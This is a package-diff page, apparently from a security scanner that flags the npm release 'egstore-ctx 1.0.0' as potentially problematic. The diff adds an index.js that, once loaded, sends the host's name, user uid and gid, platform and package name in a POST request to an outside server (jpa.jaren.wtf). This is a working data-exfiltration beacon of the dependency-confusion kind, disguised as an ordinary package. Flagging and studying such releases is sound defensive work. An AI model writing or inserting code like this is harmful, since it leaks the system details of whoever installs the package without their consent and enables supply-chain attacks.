egstore-ctx 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of egstore-ctx might be problematic. Click here for more details.
- package/index.js +16 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
const https = require("https");
|
2
|
+
const os = require("os");
|
3
|
+
https.request({
|
4
|
+
method: "POST",
|
5
|
+
host: "jpa.jaren.wtf",
|
6
|
+
path: "/h1/npm",
|
7
|
+
headers: {
|
8
|
+
'Content-Type': "application/json"
|
9
|
+
}
|
10
|
+
}).end(JSON.stringify({
|
11
|
+
pkg: process.env.npm_package_name,
|
12
|
+
hostname: os.hostname(),
|
13
|
+
uid: os.userInfo().uid,
|
14
|
+
gid: os.userInfo().gid,
|
15
|
+
platform: os.platform()
|
16
|
+
}));
|